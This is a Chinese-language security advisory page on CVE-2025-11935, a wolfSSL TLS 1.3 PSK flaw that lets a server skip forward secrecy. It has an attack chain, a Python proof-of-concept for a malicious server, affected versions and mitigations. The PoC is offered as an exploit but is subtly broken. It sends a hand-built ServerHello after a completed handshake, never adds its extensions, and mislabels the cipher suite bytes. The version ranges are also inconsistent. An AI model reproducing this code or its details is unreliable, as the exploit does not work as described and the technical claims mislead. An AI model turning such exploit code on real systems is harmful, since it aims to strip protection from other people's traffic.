IPBUF安全漏洞报告
English
CVE-2025-11935 CVSS 7.5 高危

CVE-2025-11935 wolfSSL TLS 1.3 PSK完美前向保密绕过漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-11935
漏洞类型
配置错误/安全绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
wolfSSL

相关标签

wolfSSLTLS 1.3PSK完美前向保密PFS绕过安全配置错误中间人攻击CVE-2025-11935

漏洞概述

CVE-2025-11935是wolfSSL TLS 1.3实现中的一个高危安全漏洞,CVSS评分7.5。该漏洞允许恶意或故障服务器在TLS 1.3预共享密钥(PSK)模式下绕过完美前向保密(PFS)要求。当客户端在ClientHello中发送psk_dhe_ke扩展(明确请求PFS)时,恶意服务器可以故意不返回key_share扩展,导致客户端在未启用PFS的情况下继续使用PSK进行连接。这种情况导致客户端侧已认证的PSK连接意外地不具备前向保密性,从而降低了连接的整体安全性。攻击者可利用此漏洞在后续通信中实施中间人攻击或解密已捕获的通信内容。

技术细节

该漏洞根源于wolfSSL对TLS 1.3握手协议的PSK和PFS处理逻辑缺陷。在TLS 1.3规范中,当客户端在ClientHello中同时包含psk_dhe_ke模式的PSK扩展和key_share扩展时,表示客户端希望使用具有前向保密的PSK。正确的服务器响应应同时包含key_share扩展以建立DHE密钥交换。然而,wolfSSL在接收到不包含key_share扩展的服务器响应时,未正确验证PFS要求是否满足,而是错误地继续完成握手流程并重用PSK。攻击者可通过搭建恶意TLS服务器,在响应ClientHello时故意省略key_share扩展,诱使客户端使用不具备PFS的PSK通道。此类攻击主要影响依赖TLS 1.3 PSK实现安全通信的应用场景。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意TLS 1.3服务器,配置预共享密钥(PSK)并诱使客户端连接
STEP 2
步骤2
客户端发送ClientHello,包含psk_dhe_ke模式的PSK扩展和key_share扩展,明确请求PFS
STEP 3
步骤3
恶意服务器故意不返回key_share扩展,仅返回ServerHello和PSK相关扩展
STEP 4
步骤4
wolfSSL客户端未正确验证PFS要求,继续完成握手并重用PSK连接
STEP 5
步骤5
客户端以为连接是安全的,但实际上连接不具备前向保密性
STEP 6
步骤6
攻击者可在后续通过中间人攻击或解密已捕获的通信数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC: Malicious TLS 1.3 Server Bypassing PFS # This PoC demonstrates how a malicious server can bypass PFS requirement import socket import ssl import struct def create_malicious_server(): """ Create a malicious TLS 1.3 server that responds without key_share to bypass PFS requirement on client side. """ context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) context.load_cert_chain('server.crt', 'server.key') # Listen for connections server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind(('0.0.0.0', 4433)) server_socket.listen(5) while True: client_conn, addr = server_socket.accept() ssl_conn = context.wrap_socket(client_conn, server_side=True) # Malicious behavior: Complete handshake without key_share # This causes wolfSSL clients to use PSK without PFS data = ssl_conn.recv(4096) print(f"Received ClientHello from {addr}") # Send ServerHello WITHOUT key_share extension # This is the key to exploiting CVE-2025-11935 server_hello = build_server_hello_without_keyshare(data) ssl_conn.send(server_hello) ssl_conn.close() def build_server_hello_without_keyshare(client_hello): """ Build ServerHello message that omits key_share extension. This causes wolfSSL to continue with PSK but without PFS. """ # Simplified ServerHello construction # Real implementation requires proper TLS 1.3 message construction server_hello = bytearray() # ServerHello header server_hello.extend([0x02]) # Handshake type: ServerHello server_hello.extend([0x00, 0x00, 0x00]) # Length placeholder # Server version and random server_hello.extend([0x03, 0x03]) # TLS 1.2 (will be negotiated down) server_hello.extend(b'\x00' * 32) # Random # Session ID server_hello.extend([0x00]) # Cipher suite (without key_share in extensions) server_hello.extend([0x13, 0x01]) # TLS_AES_256_GCM_SHA384 # Compression method server_hello.extend([0x00]) # Extensions WITHOUT key_share - THIS IS THE VULNERABILITY extensions = bytearray() # Add psk_extension (empty or minimal) # Omit key_share extension entirely return bytes(server_hello) if __name__ == "__main__": print("Malicious TLS Server for CVE-2025-11935 PoC") print("This server bypasses PFS requirement in TLS 1.3 PSK") create_malicious_server()

影响范围

wolfSSL < 5.7.0 (with TLS 1.3 PSK enabled)
wolfSSL < 5.6.6 (stable branch)
wolfSSL < 5.5.4 (maintenance branch)

防御指南

临时缓解措施
在正式补丁发布前,可通过以下措施缓解风险:1) 禁用TLS 1.3 PSK功能,使用传统证书认证模式;2) 监控TLS握手过程中的key_share扩展,确保服务器响应包含该扩展;3) 使用企业级TLS代理进行流量检测,拦截异常的TLS握手行为;4) 在应用层实现额外的密钥验证机制;5) 考虑临时迁移到TLS 1.2以避免此漏洞影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表